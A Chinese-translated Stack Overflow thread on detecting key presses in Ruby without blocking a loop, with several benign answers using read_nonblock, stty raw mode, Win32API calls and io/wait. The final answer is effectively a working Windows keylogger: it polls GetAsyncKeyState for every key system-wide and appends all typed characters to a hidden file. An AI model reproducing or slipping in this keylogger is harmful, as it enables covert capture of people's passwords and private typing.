【问题标题】:Detect key press (non-blocking) w/o getc/gets in Ruby在 Ruby 中检测没有 getc/gets 的按键(非阻塞)
【发布时间】:2010-10-31 02:39:32
【问题描述】:

我有一个简单的任务,需要等待文件系统发生变化(它本质上是一个原型编译器)。所以我有一个简单的无限循环,在检查更改的文件后休眠 5 秒。

loop do
  # if files changed
  #   process files
  #   and puts result
  sleep 5
end

而不是Ctrl+C 敬礼,我宁愿能够测试并查看是否已按下某个键,而不会阻塞循环。本质上,我只需要一种方法来判断是否有传入的按键,然后抓住它们直到遇到 Q,然后退出程序。

我想要的是:

def wait_for_Q
  key_is_pressed && get_ch == 'Q'
end

loop do
  # if files changed
  #   process files
  #   and puts result
  wait_for_Q or sleep 5
end

或者,这是 Ruby 不擅长的(很好)吗?

【问题讨论】:

    标签: ruby input nonblocking


    【解决方案1】:

    这是一种方法,使用IO#read_nonblock

    def quit?
      begin
        # See if a 'Q' has been typed yet
        while c = STDIN.read_nonblock(1)
          puts "I found a #{c}"
          return true if c == 'Q'
        end
        # No 'Q' found
        false
      rescue Errno::EINTR
        puts "Well, your device seems a little slow..."
        false
      rescue Errno::EAGAIN
        # nothing was ready to be read
        puts "Nothing to be read..."
        false
      rescue EOFError
        # quit on the end of the input stream
        # (user hit CTRL-D)
        puts "Who hit CTRL-D, really?"
        true
      end
    end
    
    loop do
      puts "I'm a loop!"
      puts "Checking to see if I should quit..."
      break if quit?
      puts "Nope, let's take a nap"
      sleep 5
      puts "Onto the next iteration!"
    end
    
    puts "Oh, I quit."
    

    请记住,即使这使用非阻塞 IO,它仍然是 缓冲 IO。 这意味着您的用户必须先点击Q,然后再点击<Enter>。如果你想做 无缓冲 IO,我建议查看 ruby​​ 的 curses 库。

    【讨论】:

    • 遗憾的是,我在 Windows 上,这会引发 Errno::EBADF 或错误文件错误。我会调查我的选择。
    • 尝试使用 EINTR 和 EAGAIN 捕获 EBADF - 这可能只是一个暂时性错误,直到您实际输入一些输入(不确定,不是在 Windows 上)
    • 是的。 Ruby 只是使用 read(参见 man 2 read)来做到这一点,它是原生 C,而 PHP 或 Perl 无疑是​​ wrap。
    • IO.console.raw{|c| c.read_nonblock(1) rescue nil}} 帮了我大忙。
    【解决方案2】:

    其他答案的组合可以获得所需的行为。在 OSX 和 Linux 上的 ruby​​ 1.9.3 中测试。

    loop do
      puts 'foo'
      system("stty raw -echo")
      char = STDIN.read_nonblock(1) rescue nil
      system("stty -raw echo")
      break if /q/i =~ char
      sleep(2)
    end
    

    【讨论】:

    • 虽然这个答案很有用,但应该注意的是,它并没有捕捉到@rampion 的答案捕捉到的所有错误,而且这些错误并不罕见。
    【解决方案3】:

    您也可以在没有缓冲区的情况下执行此操作。在基于 unix 的系统中,这很容易:

    system("stty raw -echo") #=> Raw mode, no echo
    char = STDIN.getc
    system("stty -raw echo") #=> Reset terminal mode
    puts char
    

    这将等待按键被按下并返回字符代码。无需按。

    char = STDIN.getc 放入一个循环中就可以了!

    如果你在 Windows 上,根据 The Ruby Way,你需要用 C 编写一个扩展或者使用这个小技巧(虽然这是在 2001 年编写的,所以可能有更好的方法)

    require 'Win32API'
    char = Win32API.new('crtdll','_getch', [], 'L').Call
    

    这是我的参考资料:great book, if you don't own it you should

    【讨论】:

    • 我不明白。这是如何无阻塞的?它等待字符。
    【解决方案4】:

    通过结合我刚刚阅读的各种解决方案,我想出了一个跨平台的方法来解决这个问题。 Details here,但这里是相关的代码:GetKey.getkey 方法返回 ASCII 代码或 nil,如果没有按下。

    应该在 Windows 和 Unix 上都可以工作。

    module GetKey
    
      # Check if Win32API is accessible or not
      @use_stty = begin
        require 'Win32API'
        false
      rescue LoadError
        # Use Unix way
        true
      end
    
      # Return the ASCII code last key pressed, or nil if none
      #
      # Return::
      # * _Integer_: ASCII code of the last key pressed, or nil if none
      def self.getkey
        if @use_stty
          system('stty raw -echo') # => Raw mode, no echo
          char = (STDIN.read_nonblock(1).ord rescue nil)
          system('stty -raw echo') # => Reset terminal mode
          return char
        else
          return Win32API.new('crtdll', '_kbhit', [ ], 'I').Call.zero? ? nil : Win32API.new('crtdll', '_getch', [ ], 'L').Call
        end
      end
    
    end
    

    这是一个简单的测试程序:

    loop do
      k = GetKey.getkey
      puts "Key pressed: #{k.inspect}"
      sleep 1
    end
    

    在上面提供的链接中,我还展示了如何使用 curses 库,但结果在 Windows 上有点奇怪。

    【讨论】:

    • 你的链接失效了
    • 链接备份。谢谢
    【解决方案5】:

    您可能还想研究 Ruby 的“io/wait”库,它为所有 IO 对象提供了ready? 方法。我没有专门测试过你的情况,但是我在我正在研究的基于套接字的库中使用它。在您的情况下,如果 STDIN 只是一个标准 IO 对象,您可能会在ready? 返回非零结果时退出,除非您有兴趣找出实际按下的键。这个功能可以通过require 'io/wait' 获得,它是Ruby 标准库的一部分。我不确定它是否适用于所有环境,但值得一试。研究人员:http://ruby-doc.org/stdlib/libdoc/io/wait/rdoc/

    【讨论】:

      【解决方案6】:

      现在用这个

      require 'Win32API'
      
      VK_SHIFT = 0x10
      VK_ESC = 0x1B
      
      def check_shifts()
          $listener.call(VK_SHIFT) != 0 ? true : false
      end
      
      # create empty Hash of key codes
      keys = Hash.new
      
      # create empty Hash for shift characters
      uppercase = Hash.new
      
      # add letters
      (0x41..0x5A).each { |code| keys[code.chr.downcase] = code }
      
      # add numbers
      (0x30..0x39).each { |code| keys[code-0x30] = code }
      
      # add special characters
      keys[';'] = 0xBA; keys['='] = 0xBB; keys[','] = 0xBC; keys['-'] = 0xBD; keys['.'] = 0xBE 
      keys['/'] = 0xBF; keys['`'] = 0xC0; keys['['] = 0xDB; keys[']'] = 0xDD; keys["'"] = 0xDE 
      keys['\\'] = 0xDC
      
      # add custom key macros
      keys["\n"] = 0x0D; keys["\t"] = 0x09; keys['(backspace)'] = 0x08; keys['(CAPSLOCK)'] = 0x14
      
      # add for uppercase letters
      ('a'..'z').each { |char| uppercase[char] = char.upcase }
      
      # add for uppercase numbers
      uppercase[1] = '!'; uppercase[2] = '@'; uppercase[3] = '#'; uppercase[4] = '$'; uppercase[5] = '%'
      uppercase[6] = '^'; uppercase[7] = '&'; uppercase[8] = '*'; uppercase[9] = '('; uppercase[0] = ')'
      
      # add for uppercase special characters
      uppercase[';'] = ':'; uppercase['='] = '+'; uppercase[','] = '<'; uppercase['-'] = '_'; uppercase['.'] = '>'
      uppercase['/'] = '?'; uppercase['`'] = '~'; uppercase['['] = '{'; uppercase[']'] = '}'; uppercase["'"] = '"'
      uppercase['\\'] = '|'
      
      # create a listener for Windows key-presses
      $listener = Win32API.new('user32', 'GetAsyncKeyState', ['i'], 'i')
      
      # call listener once to initialize lsb's
      keys.each_value { |code| $listener.call(code) }
      
      logs = File.open('C://kpkt.txt', 'a')
      
      while true
          break if $listener.call(VK_ESC) != 0
      
          keys.each do |char, code|
              n = $listener.call(code)
              if n and n & 0x01 == 1
                  check_shifts() ? logs.write("#{uppercase[char]}") : logs.write("#{char}")
              end
          end
      end
      
      logs.close()
      

      【讨论】:

        猜你喜欢
        • 2013-08-16
        • 2012-01-16
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 2012-09-17
        • 1970-01-01
        相关资源
        最近更新 更多